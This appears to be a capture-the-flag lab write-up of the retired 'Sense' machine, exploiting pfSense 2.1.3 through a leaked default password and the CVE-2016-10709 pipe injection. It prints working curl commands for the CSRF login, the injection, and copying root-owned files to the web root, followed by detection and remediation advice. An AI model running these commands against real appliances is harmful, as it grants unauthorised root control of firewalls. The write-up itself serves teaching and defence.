Overview
Sense is a retired Easy-rated machine running pfSense 2.1.3 on FreeBSD 10.1-RELEASE-p9. The attack surface is minimal: only the pfSense web management interface on HTTPS (port 443), with HTTP on port 80 redirecting to it. No SSH, no other services.
A plaintext file left in the web root (/system-users.txt) discloses a
username and instructs the reader to use the “company default” password, which
for pfSense is pfsense. With valid credentials, CVE-2016-10709 provides
command injection through the status_rrd_graph_img.php endpoint’s graph
parameter, where unsanitised input is concatenated into an rrdtool shell
pipeline.
The critical architectural detail: pfSense runs its entire web interface as root. It has to. The interface modifies firewall rules, network interfaces, and routing tables, all of which require superuser privileges on FreeBSD. There is no privilege escalation step because there is nowhere to escalate to. This is not a misconfiguration; it is inherent to how network appliance software operates. It is also why compromising a firewall appliance is among the worst possible outcomes in network security: the attacker gains full visibility into network topology, VPN configurations, routing tables, and every firewall rule in a single step.
Reconnaissance
I start with a service-version scan to map the attack surface:
nmap -sC -sV -oA scans/sense 10.129.15.23
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | lighttpd 1.4.35 | 301 redirect to HTTPS |
| 443 | HTTPS | lighttpd 1.4.35 | pfSense 2.x web interface |
The SSL certificate is expired and carries the hostname sense.htb, which I
add to /etc/hosts. The login page identifies the application as pfSense. No
other ports are open; this is a single-service machine.
lighttpd 1.4.35 dates to 2014. The version alone suggests the system has not been updated in years. I check for lighttpd-specific vulnerabilities but find nothing directly exploitable without authentication.
Attack Surface Analysis
Directory discovery
With only a web interface available, directory brute-forcing is the logical
first step. I use gobuster because it handles HTTPS certificate errors cleanly
with the -k flag and supports concurrent threads well:
gobuster dir -u https://10.129.15.23 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-k -t 40 -x txt,php,html
I include .txt extensions because appliance web roots often contain leftover
documentation, changelogs, and notes. This proves critical.
| Path | Status | Notes |
|---|---|---|
/system-users.txt | 200 | Plaintext credentials file |
/changelog.txt | 200 | Version and patch history |
/index.php | 200 | pfSense login (CSRF-protected) |
/xmlrpc.php | 200 | XML-RPC endpoint (requires auth) |
/tree/ | 200 | Empty directory listing |
Credential discovery
/system-users.txt contains:
####Support ticket###
Please create the following user
username: Rohit
password: company default
“Company default” for pfSense is pfsense. This is documented in pfSense’s
own installation guide and has been the factory default since the project’s
inception. The file itself is a support ticket that was never cleaned up: a
common pattern in appliance deployments where the web root doubles as a
convenient file drop.
/changelog.txt confirms pfSense 2.1.3-RELEASE and explicitly notes one
security patch that remains unapplied. This is a strong signal that the system
is vulnerable to known CVEs fixed after 2.1.3.
Failed approach: XML-RPC
Before pursuing the web login, I tested whether xmlrpc.php accepted the same
credentials. pfSense’s XML-RPC interface is used for configuration
synchronisation between HA cluster members. If accessible, it provides a
programmatic interface that is often easier to script against than the
CSRF-protected web UI. The endpoint returned 401 for the rohit account;
XML-RPC access requires admin privileges that this user does not have.
CVE research
pfSense 2.1.3 has multiple known vulnerabilities. The most impactful is a
command injection in status_rrd_graph_img.php:
| Attribute | Value |
|---|---|
| CVE | CVE-2016-10709 |
| CVSS v3 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-78 (OS Command Injection) |
| Root cause | Unsanitised graph parameter passed into shell pipeline |
| Affected | pfSense < 2.3 |
| Fixed in | pfSense 2.3 |
| MITRE ATT&CK | T1059.004 (Unix Shell) |
The CVSS score reflects the combination of low attack complexity, low privileges required, and complete impact across confidentiality, integrity, and availability. The “low privilege” rating is generous; combined with the default password disclosure, this is effectively unauthenticated.
Vulnerability Analysis
The status_rrd_graph_img.php endpoint generates RRD (Round Robin Database)
graphs for network statistics. It accepts a graph parameter specifying the
RRD filename to render. The PHP code constructs a shell command by
concatenating this parameter directly into a pipeline that invokes rrdtool graph. No input validation, no escaping, no parameterisation.
The injection works because the parameter sits mid-pipeline. Standard
semicolon injection (; cmd) would break the pipeline syntax and produce a
shell error. Instead, the correct approach uses pipe characters:
file|cmd|echo. This inserts an arbitrary command as a new stage between two
existing pipeline stages. The trailing |echo absorbs whatever follows in the
original pipeline and suppresses rrdtool error output that would otherwise
clutter the response.
The web server process on pfSense is php-fpm running as root (uid 0). This
is not a misconfiguration. pfSense’s web interface calls functions that modify
pf.conf (the packet filter configuration), restart services, and alter
network interface settings. All of these operations require root on FreeBSD.
The pfSense developers made a deliberate architectural choice to run the web
process as root rather than implementing a privilege separation model with
setuid helpers or a privileged daemon. The trade-off is simplicity of
implementation versus blast radius on compromise.
Exploitation
Authentication
pfSense protects its login form with CSRF tokens. Each page load generates a
unique csrfMagicToken that must accompany the POST request. Without it, the
server rejects the login attempt with a 403. The flow requires two requests:
one to fetch the token, one to submit credentials.
# Extract CSRF token from login page
TOKEN=$(curl -sk https://10.129.15.23/index.php \
| grep -oP 'csrfMagicToken[^"]*"[^"]*"' \
| head -1 | grep -oP 'sid:[^"]+')
# Authenticate and save session cookie
curl -sk -c cookies.txt -X POST https://10.129.15.23/index.php \
-d "usernamefld=rohit&passwordfld=pfsense&login=Login&__csrf_magic=sid:${TOKEN}"
Note the lowercase rohit in the username field. pfSense normalises usernames
to lowercase internally, so the capitalised “Rohit” from system-users.txt
works either way.
Command injection via graph parameter
With a valid session cookie, I test command injection:
curl -sk -b cookies.txt \
"https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|id|echo"
The response includes id output:
uid=0(root) gid=0(root) groups=0(wheel)
Root. No privilege escalation needed.
The database=queues parameter selects any valid RRD category; its value does
not matter for the injection. The graph parameter does the work:
queues-hva.rrd is a plausible RRD filename that satisfies whatever prefix
parsing exists, followed by |id|echo which injects the id command into the
pipeline.
Flag extraction via web root staging
My first instinct was a reverse shell. It failed: pfSense’s own packet filter rules block outbound connections from the appliance. This is sensible default behaviour for a firewall; the management interface should not initiate outbound connections. I confirmed this by attempting a Python reverse shell and watching for the connection on my listener. Nothing arrived.
The alternative: copy files to the web root and retrieve them via HTTPS. Since
we are root and the web root is at /usr/local/www/, this is trivial:
# User flag
curl -sk -b cookies.txt \
"https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|cp+/home/rohit/user.txt+/usr/local/www/flag.txt|echo"
curl -sk https://10.129.15.23/flag.txt
# [redacted]
# Root flag
curl -sk -b cookies.txt \
"https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|cp+/root/root.txt+/usr/local/www/flag.txt|echo"
curl -sk https://10.129.15.23/flag.txt
# [redacted]
The + characters are URL-encoded spaces. The command copies each flag file
to a predictable location in the web root, where it can be fetched without
authentication. In a real engagement, cleaning up staged files afterwards is
mandatory.
Post-Exploitation
The command injection runs as root (uid 0). There is no intermediate user context and no privilege escalation step.
OS: FreeBSD 10.1-RELEASE-p9
Kernel: FreeBSD 10.1-RELEASE-p9 amd64
User: root (uid=0, gid=0, groups=wheel)
Web root: /usr/local/www/
pfSense version: 2.1.3-RELEASE
FreeBSD 10.1 reached end-of-life in November 2016. The system is missing years of kernel and userland security patches.
In a real engagement, a compromised pfSense appliance provides several high-value assets:
- Network topology: complete visibility into all firewall rules, NAT mappings, interfaces, routes, and VLAN configurations
- Credentials: user database, VPN pre-shared keys, RADIUS shared secrets,
LDAP bind passwords (all stored in
config.xml) - Pivot capability: modify firewall rules to permit lateral movement, create new VPN tunnels, or redirect traffic
- Persistence: add a cron job, create a new admin user, or install a package via the pfSense package manager
The configuration backup at /diag_backup.php exports all of this as a single
XML file.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1078.001 | Authentication logs showing login with default credentials |
| Discovery | T1083 | HTTP requests to /system-users.txt and /changelog.txt |
| Execution | T1059.004 | Web server logs with pipe characters in graph parameter |
| Exfiltration | T1567 | File creation in web root (/usr/local/www/) by non-web process |
Web server logs: the graph parameter containing pipe characters and OS
commands is unambiguous. Any request to status_rrd_graph_img.php with | in
the query string should trigger an alert. lighttpd logs the full request URI by
default, making this detection straightforward to implement.
Authentication monitoring: pfSense logs authentication events to
/var/log/system.log. Failed and successful logins from unexpected source IPs
should trigger alerts. Default credential usage can be detected by maintaining
a list of accounts known to use factory passwords and alerting on their first
successful login.
File integrity monitoring: new files appearing in /usr/local/www/ that
were not placed by the pfSense package manager indicate post-exploitation
activity. FreeBSD’s mtree utility can baseline the web root and detect
changes. On pfSense specifically, the /usr/local/www/ directory should only
change during firmware upgrades.
Access logs for sensitive paths: HTTP requests for /system-users.txt,
/changelog.txt, and other non-application files in the web root are
reconnaissance indicators. These files should not exist, but if they do,
access to them should be logged and reviewed.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade pfSense to current stable (2.7.x) | Medium | Critical |
| P0 | Remove /system-users.txt from web root | Low | Critical |
| P0 | Change all passwords from defaults immediately | Low | Critical |
| P1 | Restrict management interface access by source IP | Low | High |
| P1 | Audit and purge web root of non-application files | Low | High |
| P1 | Enable pfSense’s built-in login protection (rate limiting, lockout) | Low | High |
| P2 | Renew or replace the expired TLS certificate | Low | Medium |
| P2 | Enable two-factor authentication for admin access | Medium | Medium |
| P3 | Deploy syslog forwarding to a SIEM for audit trail | Medium | Medium |
The deeper issue is architectural. pfSense runs as root by design; every authenticated vulnerability in the web interface is a root compromise. This makes access control to the management interface the primary security boundary. Restricting it to specific management hosts or a dedicated out-of-band management VLAN is not optional; it is the single most important defensive control for any network appliance. The management plane must be treated as a privileged network zone with the same rigour applied to domain controller access in Active Directory environments.
Key Takeaways
-
Network appliances run as root by design. Firewalls, routers, and load balancers need root to manage network interfaces, routing tables, and packet filtering. Any authenticated RCE in the management interface yields full system access with no escalation step. This makes access control to the management plane the primary security control; patching is secondary. Segment the management interface onto a dedicated VLAN with strict ACLs.
-
Default credentials remain one of the most effective attack vectors. The pfSense default password is
pfsense, documented in their own installation guide. Combined with a credential disclosure file abandoned in the web root, this box had zero effective authentication. Every deployment process must force a password change before network exposure. Automated scanning for factory defaults (tools likechangemeor custom Nessus policies) should be part of regular vulnerability assessments. -
When reverse shells fail, stage to the web root. If the target runs a web server and you have write access to the document root, copy output files there and retrieve them via HTTP. No outbound connection required. This technique bypasses egress filtering entirely. Clean up staged files afterwards; leaving them is both an operational security failure and a courtesy issue on shared lab environments.
-
Pipe injection differs from semicolon injection. The
graphparameter is interpolated mid-pipeline, so semicolons produce syntax errors rather than command execution. The correct syntax isfile|cmd|echo, inserting a command between two existing pipeline stages. Understanding where the injection point sits within the shell command determines which metacharacters produce valid syntax. Always map the surrounding command structure before selecting injection characters.